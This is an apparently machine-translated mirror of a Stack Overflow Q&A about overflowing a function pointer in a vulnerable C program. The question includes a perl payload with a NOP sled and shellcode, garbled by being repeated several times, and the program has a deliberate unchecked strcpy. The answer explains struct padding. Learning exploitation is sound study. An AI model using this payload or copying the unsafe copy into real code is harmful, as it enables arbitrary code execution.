繁体   English   中英

堆溢出-堆的结构

[英]Heap Overflow - Structure of the heap

尝试执行基本的堆攻击时,我了解所有内容,但输入字符串的大小除外。 使用perl -e 'print "\\x90" x (760) . "\\x31\\xc9\\xf7\\xe1\\x51\\x68\\x2f\\x2f\\x78\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80" . "\\x00\\x98\\x04\\x08"'可以利用以下代码perl -e 'print "\\x90" x (760) . "\\x31\\xc9\\xf7\\xe1\\x51\\x68\\x2f\\x2f\\x78\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80" . "\\x00\\x98\\x04\\x08"' perl -e 'print "\\x90" x (760) . "\\x31\\xc9\\xf7\\xe1\\x51\\x68\\x2f\\x2f\\x78\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80" . "\\x00\\x98\\x04\\x08"' perl -e 'print "\\x90" x (760) . "\\x31\\xc9\\xf7\\xe1\\x51\\x68\\x2f\\x2f\\x78\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80" . "\\x00\\x98\\x04\\x08"'作为程序的参数。 使用的shellcode长度为21个字节。 这里的总字符串大小为785个字节,这是缓冲区的777 +我不知道的4个字符以及我们要覆盖的4个函数指针。

在这里看到这4个字节是:

指针跟踪堆栈的顶部,类似于堆栈的堆栈指针

我的假设正确吗?

#include <stdio.h>
#include <unistd.h>

void greetUser(char *s) {
    printf("Hello %s!\n", s);
}

struct data_t {
    char buf[777];
    void (*fp)(char *);
} somedata;

int main(int argc, char **argv) {
    somedata.fp = &greetUser;

    if(argc < 2) {
    printf("Usage: %s YourName\n", argv[0]);
    exit(1);
    }

    strcpy(somedata.buf, argv[1]);
    (somedata.fp)(somedata.buf);

    return 0;
}

不,这是不正确的。 您只需要溢出784个字节即可:

 char buf[777];     // 777 bytes
 <padding>          // usually 7 bytes to have fp 8-byte-aligned
void (*fp)(char *); // 8 bytes function pointer

在64位系统上。 在32位系统上,fp应该对齐4个字节(因此fp在结构开始后开始780个字节)

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM